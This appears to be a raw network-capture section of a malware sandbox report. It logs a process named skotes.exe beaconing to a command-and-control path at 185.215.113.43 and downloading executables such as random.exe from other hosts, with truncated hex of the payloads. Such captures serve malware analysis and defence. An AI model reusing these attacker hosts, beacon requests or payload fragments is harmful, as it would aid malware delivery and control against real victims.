Nov 23, 2024 03:21:08.448753119 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 33 32 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 33 32 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 33 32 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 33 32 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008326001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008327001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008328001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008329001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008330001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49760	31.41.244.11	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:08.572788000 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 03:21:09.957751036 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:09 GMT Content-Type: application/octet-stream Content-Length: 4392960 Last-Modified: Sat, 23 Nov 2024 00:46:58 GMT Connection: keep-alive ETag: "67412602-430800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 60 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c4 00 00 04 00 00 19 ac 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 44 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 44 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2`J@C@ _qsDpD px'@.rsrc p'@.idata q'@ 7q'@pablyzls`V'@ldihguetPB@.taggant0`"B@
Nov 23, 2024 03:21:09.957762003 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:09.957870960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:09.957911968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:09.957923889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:09.958003044 CET	1236	IN	Data Raw: 17 40 e3 27 c6 7d 6d 51 6e b3 02 7c c5 8b c7 74 eb 19 1b 45 2e 2f a1 f3 0f 78 82 68 f3 33 d9 33 25 8b 0a ec 8b ec e8 ff 99 e4 79 90 8e 52 f2 7a 14 c2 99 2c 73 f7 5c 3a 3d bb 71 d5 f2 ef 59 22 d6 d6 ab 3c 83 86 19 8b 95 5a eb 31 4f 15 e2 b2 00 b8 Data Ascii: @'}mQn\|tE./xh33%yRz,s\:=qY"<Z1Oaz,rjug~WEt&Ua:psgMb}B(kOlesy/I{h3!p\|UT=<]1nBxnDw
Nov 23, 2024 03:21:09.958014011 CET	896	IN	Data Raw: d5 55 94 05 71 30 87 10 f2 a3 e8 3c c8 70 87 9e 41 d4 be fb 82 cb bc 0f d8 e3 67 83 22 6f 0f be c7 09 5d 70 4e 4a fc 3e e6 76 a6 95 ce 34 cc 59 68 56 9e 50 67 7b b4 93 52 ab 4a 5d bc c1 05 d1 f3 f3 04 7c 35 e5 bb 95 06 26 23 5e 8a ae 83 13 76 86 Data Ascii: Uq0<pAg"o]pNJ>v4YhVPg{RJ]\|5&#^v2RfitX!S8N"rn~-<--Rzxn=E4b_LoCj<zbsI}Lf)<\|@0jQ0#,:25B%gi8N{+q@xhHhl4F
Nov 23, 2024 03:21:09.958024025 CET	1236	IN	Data Raw: 8f 1c be 3f 8d ac 7b 77 ed 57 b9 7b 79 27 4f 65 7a ca c2 f6 f6 8a 5a 0b 4a 3c 10 14 b7 6d 42 a5 44 2e 92 aa bf ad 4e 20 e8 22 b4 f3 70 27 b9 de 7d a1 0e d0 68 23 c3 c1 a3 24 46 b6 0e cf 4c 7c 43 ba ad b3 8a bb 11 12 6a 4d ee f5 34 69 77 10 0c 5c Data Ascii: ?{wW{y'OezZJ<mBD.N "p'}h#$FL\|CjM4iw\u$\}(ug3:+ }_dgg"K?/lR@PdgM<tzlj+t+vc9\|0w]=M$E,*H+19mL##\|[@'A
Nov 23, 2024 03:21:09.958034992 CET	1236	IN	Data Raw: 82 af e1 d5 2c e3 46 87 8b ee 4e 87 00 b2 b0 14 8e 16 92 75 ca 26 d8 87 a3 d7 da f2 87 7b 6e 5b 9b d0 e3 0d ea 12 c6 f6 d5 b8 11 fb 02 28 7c 7d c2 2e 58 65 6b e6 02 39 46 5f f4 27 62 08 cd fe cb a3 ae 78 28 43 d9 dd 66 28 99 72 0c 81 b2 48 09 e0 Data Ascii: ,FNu&{n[(\|}.Xek9F_'bx(Cf(rH80`g!@v(b3o!rRaQQ$42CBnmivGD6ti\RUD%vsEe3j\`">M"fg22ze_K@e("RkoKdA}2eH
Nov 23, 2024 03:21:09.958045006 CET	1236	IN	Data Raw: 47 b2 7c d8 fb 2c 49 c0 8a a1 cd 9f 7e 8a 22 33 89 3a 4c ff a5 4d 2b 02 70 5b c0 01 b8 77 66 50 c0 e8 5a 00 4a 97 d1 ca 31 2b 2c 27 9e 76 5b 4d 42 26 4d 72 fb 17 08 1a ae f8 26 c0 3a 44 27 e1 93 14 32 f3 4e ab 19 65 9d 8b df 3a e9 b9 88 1a 88 f7 Data Ascii: G\|,I~"3:LM+p[wfPZJ1+,'v[MB&Mr&:D'2Ne:@\l!TgA52S'J;qL+/-Gu@+!d14#xuzM.\2h[f=l!)zBnn?ujJrb(emJ2'h}Ir\
Nov 23, 2024 03:21:10.077591896 CET	1236	IN	Data Raw: 9c 65 7a 2e 0a fa fc 6b 36 67 57 bc c0 be 68 d7 9c c1 28 05 ea a1 ba 1b 4a c7 72 4d f2 e9 ae d7 74 46 6c 16 eb a0 da 10 15 2d 97 93 ae 3b 6e 8e 5d 0c 4e 1c 6c ca 00 95 76 47 86 79 5b e4 17 c8 f2 c3 76 08 6e db 43 c2 a9 72 fa 14 72 9f 1b fc 49 60 Data Ascii: ez.k6gWh(JrMtFl-;n]NlvGy[vnCrrI`_XrvE,cQqs0w{JeF"ouZIuw,Es]Tbaf/`RrcWPhWjYz5.i,xFfMWgfdrvv[cal*uu/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49785	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:19.730087996 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008326001&unit=246122658369
Nov 23, 2024 03:21:21.147228003 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49786	34.116.198.130	80	7860	C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:20.775759935 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 23, 2024 03:21:22.287303925 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 23 Nov 2024 02:21:22 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 23, 2024 03:21:22.287334919 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 23, 2024 03:21:22.287344933 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 23, 2024 03:21:22.287427902 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 23, 2024 03:21:22.287451029 CET	736	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 23, 2024 03:21:22.287456036 CET	1236	IN	Data Raw: b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b f8 cc 7b 0a 55 40 86 a4 38 5e 83 b5 fc e0 93 ab 8f 79 ff 2c ea 7f fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 Data Ascii: ox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0G
Nov 23, 2024 03:21:22.287460089 CET	1236	IN	Data Raw: 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 01 c0 46 a0 c6 87 aa 95 40 ad 7b 08 bb 48 0d 79 be 2c f9 13 49 ba 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 Data Ascii: W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ\ `@K0az
Nov 23, 2024 03:21:22.287482977 CET	1236	IN	Data Raw: 8a ac 93 f1 40 89 d6 2c 25 56 e7 e7 41 fd cd d9 61 4d 91 fd 4b 75 7c 5d 61 0b a7 ca cb 09 1b 09 34 ff e6 94 6e 26 f6 27 39 04 39 79 da e6 00 ae aa a2 07 e7 bc 49 aa d1 5d cd 91 c5 aa 07 88 63 cf 61 81 8d e5 b0 0d e5 93 1b ca 3b a7 2f 7a af b5 3b Data Ascii: @,%VAaMKu\|]a4n&'99yI]ca;/z;^>@'IM7fJWfvAIm2H}N\MwK`3Lg[/UJ1>{__1iB4F}ZExM94.uxmsD
Nov 23, 2024 03:21:22.287492990 CET	1236	IN	Data Raw: 08 0e d1 7d 8a 52 c9 be 69 d8 e5 9d d1 00 d0 55 c5 87 82 ce d7 d1 ca 69 be fd 71 99 5c 54 66 4b a1 cd b8 e2 c2 02 78 bf e6 ef 7a 01 4c 6a 15 3c 0f 62 bb bf 8b 54 2c bd de f4 05 20 5a ec 24 3a 37 f4 55 5a 34 8e 12 75 e9 4f 2e 0a 95 45 cc 01 f9 66 Data Ascii: }RiUiq\TfKxzLj<bT, Z$:7UZ4uO.Ef&`z#"][mmJ4(t<d:TAGtNn)CD,p^i8V"Y=er>`QQ29_%q2/"MX(`OsTAt\@`x
Nov 23, 2024 03:21:22.287497044 CET	736	IN	Data Raw: e5 79 5d 24 42 ce 7c 56 10 26 41 55 fe de 3b 20 03 b1 c2 47 63 14 61 88 83 5f 30 ee c8 0f b1 bd ce 17 88 b0 c9 58 84 eb 93 99 2e f1 0f 64 62 cc ee 57 41 66 2c 6e 3b 90 2c 15 48 64 e3 81 84 5e ed f5 9c 3e 83 42 a3 05 be 47 02 f2 87 c0 5c 51 8f 8b Data Ascii: y]$B\|V&AU; Gca_0X.dbWAf,n;,Hd^>BG\QI)g\|RIS\|j=b@//}{2Gf\|3U^h3H8l1p]Nq$`T>=[[&7+$?+yk9}3.x;FcQ
Nov 23, 2024 03:21:22.407154083 CET	1236	IN	Data Raw: 5c 26 d9 e1 02 59 d6 5a 88 fc 21 bc 6a 50 3d 20 ca dd bd 3e 4b bb 5a 21 bb b6 e9 ca cf 38 bb 14 28 8c 0d 1f 97 cc 56 3f 18 41 7a 1d 1a 9d 67 4a 85 5b 92 8b 3b 1e bf d8 44 8a 35 69 2b 1e 56 16 fc 59 b3 36 40 c3 4f 78 27 8d f3 52 56 ff 2a 78 b3 c8 Data Ascii: \&YZ!jP= >KZ!8(V?AzgJ[;D5i+VY6@Ox'RVx\|JPdhlAO(&XyHv;q"'7%DvRXVi?_81HVma(u<hVxv2oj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49790	185.215.113.16	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:21.384783983 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 03:21:22.827897072 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:21:22 GMT Content-Type: application/octet-stream Content-Length: 1866240 Last-Modified: Sat, 23 Nov 2024 01:52:56 GMT Connection: keep-alive ETag: "67413578-1c7a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 d0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4a 00 00 04 00 00 ec 61 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gI@Ja@\pp `b@.rsrcpr@.idata t@ P*v@tbzxaang/x@djfutenpIR@.taggant0I"X@
Nov 23, 2024 03:21:22.827967882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:22.827976942 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:22.828355074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:22.828397036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:21:22.828408957 CET	1236	IN	Data Raw: a7 49 a4 0e 72 c3 fd 09 f0 4e 54 04 a8 bd 08 d5 be 42 23 2c ef 6e 12 9b 7f fd 69 d2 62 84 1d c4 5e f6 65 f0 b3 42 c0 13 5a 8c 7f 6f f6 4a 9e 89 19 3d 78 c4 6f 18 9d f5 a0 59 02 9b 86 e6 c1 c0 61 0b aa 20 d3 9e 15 60 40 ec 4e f2 c1 58 7e 7a 43 ff Data Ascii: IrNTB#,nib^eBZoJ=xoYa `@NX~zC81otFh%A2e&Kbb!sM8]Uj=ahS1U}m7Ahto_FpwI_.rM
Nov 23, 2024 03:21:22.828546047 CET	1236	IN	Data Raw: b6 17 a9 71 78 4a 46 c8 07 80 d2 4c 1f 67 4a fb 2a 80 e9 0a 00 0e 0e de 0e 3f 73 fb 6b 77 4e dd 30 f0 c0 0c 5a 1e c6 eb d7 a7 7a 53 23 4c 39 89 23 4d f2 02 ab 8f 88 00 bb 90 64 14 b5 70 d3 8b 39 c6 7d 50 3f 77 0b 68 c0 18 58 ea e7 7c 0e 06 9b 40 Data Ascii: qxJFLgJ*?skwN0ZzS#L9#Mdp9}P?whX\|@laCg'$l&Ow(tRhV.r=.BN;Sw}wci-L:@'GOi}ruI\O`mD<uKny9f!BhsX?
Nov 23, 2024 03:21:22.828557968 CET	896	IN	Data Raw: d2 b2 64 61 06 78 5e 93 63 3f b9 da 4d b1 6e 0a 82 43 a8 10 c5 b6 87 a6 bc a8 88 26 47 e7 56 a7 82 4f 03 68 da 98 39 c6 73 5d 7e 85 0f 07 35 c3 2d b4 04 e6 84 f1 ed 4d 0c 54 ef 65 20 40 92 cb 6d d3 a6 fe 34 16 a7 a2 8b b7 6d bb 7f c5 4e 55 bc 88 Data Ascii: dax^c?MnC&GVOh9s]~5-MTe @m4mNU]PUKB*#Dp^nia\b#E!@#\|w]'}f;3s\#Mgn=TA.OuxRmX.]DD&}nfKmf{g`Wp?l7E%9Er
Nov 23, 2024 03:21:22.828568935 CET	1236	IN	Data Raw: 13 be 84 db 77 da cc 95 6c 55 fc 87 5c bf 9c 3d 2e c4 4f 0f 01 c6 2e 15 be 13 be a0 b2 b5 36 0b ed b3 9c e3 c0 61 c5 1a f2 81 77 c3 88 24 99 0c 1f db 73 b5 83 3a 81 d2 45 ec 7d 07 f5 48 b5 f1 c0 46 29 4b 1f 42 9d 69 2f 90 b1 17 e3 b1 5c cd 26 17 Data Ascii: wlU\=.O.6aw$s:E}HF)KBi/\&:Z6C=?GG%&n$33`Z5}yeb,_4L74 \0cXf<L9]>@ Bv73MJO%^'~~x_tcfCjwOt:+M
Nov 23, 2024 03:21:22.828579903 CET	1236	IN	Data Raw: 88 db 1b b3 10 a4 55 e9 40 93 dc 54 d1 06 65 0d 79 e4 45 8e 83 a2 73 ff 83 49 43 2f f3 b9 72 04 c8 48 bc 50 31 0d 81 70 20 45 72 f9 c6 c0 32 1d e9 7d 92 b8 29 da b9 4f 2e f7 66 07 58 81 25 a0 09 a2 4c e9 f1 ec 91 25 1f 14 26 c1 95 ba 04 ea 1d d0 Data Ascii: U@TeyEsIC/rHP1p Er2})O.fX%L%&s)1I JCf(J8af>"}^KKIBW\`p.}O]\]t~m\liEdvgb-la8A!KMwkQzz
Nov 23, 2024 03:21:22.947521925 CET	1236	IN	Data Raw: 5d 75 a1 5d c7 f9 ab 0d d9 74 b3 3f 00 27 66 aa 4c 5f 19 49 85 79 3b 62 80 f9 60 ec 7b fe fd fa 5d f0 2d 2d 83 c7 f3 90 22 7a ac 5a 97 b3 2b 98 88 ce 7f 8c a8 43 7b 6b ee 5f a2 73 f2 4b e5 4c b6 f2 79 8c 70 06 19 43 9a 03 cd 44 c2 4b 17 b0 e8 b5 Data Ascii: ]u]t?'fL_Iy;b`{]--"zZ+C{k_sKLypCDKv7FB,_B"yB=wA-EAMkuQ0LU1e~6uAd~Og0j6uuF_6n([yyC^NubeaY3o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49806	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:21:28.525832891 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008327001&unit=246122658369
